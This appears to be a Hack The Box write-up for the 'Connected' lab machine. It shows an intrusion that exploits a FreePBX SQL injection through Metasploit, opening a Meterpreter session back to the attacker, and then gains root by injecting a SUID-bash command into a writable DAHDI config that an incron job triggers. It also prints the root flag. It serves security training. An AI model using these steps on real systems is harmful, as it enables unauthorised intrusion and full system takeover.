## https://sploitus.com/exploit?id=BA30A7A4-99E2-581E-A23E-DD578C1DA264
# Hack The Box — Connected
> **Platform:** Hack The Box
> **Machine:** Connected
> **Difficulty:** Easy
> **OS:** Linux / CentOS
> **Target IP:** `10.129.86.88`
> **Status:** Pwned ✅
> **Date:** 16 August 2026
---
## 1. Introduction
Connected is an Easy Linux machine running a vulnerable **FreePBX** installation.
The initial attack path involved identifying the FreePBX version and exploiting an unauthenticated SQL injection vulnerability to achieve remote code execution.
After obtaining a shell as the `asterisk` user, privilege escalation was achieved through a writable DAHDI configuration file combined with a root-level `incrond` job.
### Attack Chain
```text
FreePBX 16.0.40.7
│
▼
Unauthenticated SQL Injection
│
▼
Remote Code Execution
│
▼
asterisk shell
│
▼
Writable /etc/dahdi/init.conf
│
▼
incrond → root DAHDI restart
│
▼
SUID Bash
│
▼
euid=0(root)
│
▼
Root Flag
```
---
# 2. Enumeration
## 2.1 VPN Connection
After connecting to the HTB VPN, I verified the VPN interface:
```bash
ip addr
```
The HTB VPN interface was:
```text
tun0
inet 10.10.14.152/23
```
The target machine was:
```text
10.129.86.88
```
---
## 2.2 Nmap Scan
I started with service enumeration:
```bash
nmap -Pn -sC -sV 10.129.86.88
```
### Results
```text
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4
80/tcp open http Apache httpd 2.4.6
443/tcp open ssl/http Apache httpd 2.4.6
```
The HTTP service redirected to:
```text
http://connected.htb/
```
I added the hostname to `/etc/hosts`:
```bash
sudo nano /etc/hosts
```
Entry:
```text
10.129.86.88 connected.htb
```
Verified with:
```bash
getent hosts connected.htb
```
Result:
```text
10.129.86.88 connected.htb
```
---
# 3. Web Enumeration
Opening the web application revealed a **FreePBX Administration** interface.
I inspected the page source:
```bash
curl -sL http://connected.htb/ | head -50
```
The application identified itself as:
```text
FreePBX Administration
```
The version information revealed:
```text
FreePBX 16.0.40.7
```
The User Control Panel was also accessible:
```text
http://connected.htb/ucp/
```
Version information from UCP showed:
```text
v16.0.38.1
```
---
# 4. Identifying the Vulnerability
FreePBX 16.0.40.7 is vulnerable to an unauthenticated SQL injection affecting the `ajax.php` endpoint.
The relevant vulnerability is:
```text
CVE-2025-57819
```
The vulnerability can ultimately provide remote command execution.
Instead of manually reproducing the entire exploit chain, I used the Metasploit module available in the framework.
---
# 5. Metasploit
Start Metasploit:
```bash
msfconsole -q
```
Search for FreePBX modules:
```text
search freepbx
```
The relevant module was:
```text
exploit/unix/http/freepbx_unauth_sqli_to_rce
```
I inspected the module:
```text
info exploit/unix/http/freepbx_unauth_sqli_to_rce
```
The module description confirmed that it targets vulnerable FreePBX versions prior to:
```text
15.0.66
16.0.89
17.0.3
```
Since the target was running:
```text
16.0.40.7
```
it was within the vulnerable range.
---
# 6. Obtaining Initial Access
I selected the module:
```text
use exploit/unix/http/freepbx_unauth_sqli_to_rce
```
Configured the target:
```text
set RHOSTS 10.129.86.88
```
Configured the virtual host:
```text
set VHOST connected.htb
```
My HTB VPN IP was:
```text
10.10.14.152
```
So I configured:
```text
set LHOST 10.10.14.152
```
Then launched the exploit:
```text
run
```
Metasploit successfully created a session:
```text
[+] Created cronjob with job name: 'uJtzbTI'
[*] Waiting for cronjob to trigger...
[*] Sending stage ...
[*] Meterpreter session 1 opened
```
---
# 7. Initial Shell
I verified the user:
```text
getuid
```
Result:
```text
Server username: asterisk
```
I then opened a Linux shell:
```text
shell
```
Verified the account:
```bash
whoami
```
Result:
```text
asterisk
```
At this point, initial access to the machine was achieved.
The **user flag was captured** at this stage.
---
# 8. Privilege Escalation Enumeration
I checked sudo privileges:
```bash
sudo -l
```
The command could not be used interactively because the Meterpreter shell did not have a TTY:
```text
sudo: no tty present and no askpass program specified
```
Therefore, I continued with local privilege-escalation enumeration.
---
# 9. Incron Enumeration
I inspected the incron configuration:
```bash
cat /etc/incron.d/*
```
Important entries included:
```text
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
```
and:
```text
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
```
The `dahdi_restart` rule was particularly interesting because it executes a system administration action when the corresponding file is modified.
---
# 10. Inspecting sysadmin_manager
I checked the permissions:
```bash
ls -l /usr/bin/sysadmin_manager
```
Result:
```text
-rwxr-xr-x. 1 root root 6403 Apr 15 2021 /usr/bin/sysadmin_manager
```
I inspected the script:
```bash
strings /usr/bin/sysadmin_manager | head -100
```
The file was a PHP script:
```text
#!/usr/bin/php
```
The script implements the FreePBX system administration hook mechanism and performs several security checks, including signature validation and hash verification.
The relevant execution mechanism eventually invokes an approved hook using:
```php
system("$hookfile $params");
```
This confirmed that the incron-triggered system administration hooks were executed in a privileged context.
---
# 11. Finding the Writable Configuration
I checked the DAHDI configuration:
```bash
ls -l /etc/dahdi/init.conf
```
Result:
```text
-rw-r--r--. 1 asterisk asterisk 771 Jun 5 2023 /etc/dahdi/init.conf
```
This was the important finding.
The `asterisk` user had write permission over:
```text
/etc/dahdi/init.conf
```
while the DAHDI restart mechanism could be triggered through the root-owned incron configuration.
This created a privilege-escalation path.
---
# 12. Creating a SUID Bash
I appended a command to the writable DAHDI configuration:
```bash
printf '\n install -m 4755 /bin/bash /tmp/pwn1 \n' >> /etc/dahdi/init.conf
```
The command itself produced no output, which was expected.
The modified configuration would cause the command to execute when the DAHDI restart process was triggered.
---
# 13. Triggering the Root Process
The incron configuration showed:
```text
/var/spool/asterisk/sysadmin/dahdi_restart
IN_CLOSE_WRITE
/usr/sbin/sysadmin_dahdi_restart
```
I triggered the monitored file:
```bash
touch /var/spool/asterisk/sysadmin/dahdi_restart
```
The root-level process processed the modified configuration.
I then checked whether the SUID binary had been created:
```bash
ls -l /tmp/pwn1
```
Result:
```text
-rwsr-xr-x 1 root root 964536 Aug 16 13:53 /tmp/pwn1
```
The important part was:
```text
rws
```
and:
```text
root root
```
This confirmed that `/tmp/pwn1` was a root-owned SUID Bash binary.
---
# 14. Obtaining Root
I executed the SUID Bash binary with the `-p` option:
```bash
/tmp/pwn1 -p
```
Then verified my privileges:
```bash
id
```
Result:
```text
uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk)
```
The important value is:
```text
euid=0(root)
```
This confirmed successful privilege escalation to root.
---
# 15. Root Flag
Finally:
```bash
cat /root/root.txt
```
Root flag:
```text
285f953784c7e63be8bf711d75259c89
```
---
# 16. Summary
The complete attack path was:
```text
1. Enumerate target
↓
2. Identify FreePBX 16.0.40.7
↓
3. Identify unauthenticated SQL injection
↓
4. Exploit SQLi through Metasploit
↓
5. Obtain RCE
↓
6. Get shell as asterisk
↓
7. Enumerate incron
↓
8. Identify dahdi_restart
↓
9. Discover writable /etc/dahdi/init.conf
↓
10. Inject SUID Bash creation command
↓
11. Trigger dahdi_restart
↓
12. Obtain root-owned SUID Bash
↓
13. Execute /tmp/pwn1 -p
↓
14. euid=0(root)
↓
15. Read /root/root.txt
```
---
# 17. Lessons Learned
### Web Enumeration
Always identify the exact application and version before choosing an exploit.
### Vulnerability Chaining
An initial web vulnerability does not necessarily provide root directly. The real compromise came from chaining:
```text
SQLi → RCE → User Shell → Misconfiguration → Root
```
### Linux Privilege Escalation
Always inspect:
```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/incron.d/*
```
and investigate writable configuration files used by privileged services.
### Incron
`incron` rules can be extremely dangerous when a low-privileged user can modify a file that triggers a root-owned command.
### File Permissions
The critical permission issue was:
```text
asterisk → writable /etc/dahdi/init.conf
```
combined with:
```text
root → executes DAHDI restart
```
This allowed the privilege boundary to be crossed.
---
## Tools Used
* Nmap
* cURL
* Metasploit Framework
* Meterpreter
* Linux shell
* incron
* Standard Linux privilege-escalation techniques
---
## Achievement
[Hack The Box — Connected Achievement](https://labs.hackthebox.com/achievement/machine/2879950/906)
---
**Status: PWNED ✅**
> **Note:** This write-up contains the full exploitation path and root flag. Consider keeping the flag redacted if publishing publicly to avoid unnecessary spoilers.
#HackTheBox #Connected #CyberSecurity #PenetrationTesting #EthicalHacking #Linux #FreePBX #SQLInjection #RCE #PrivilegeEscalation #InfoSec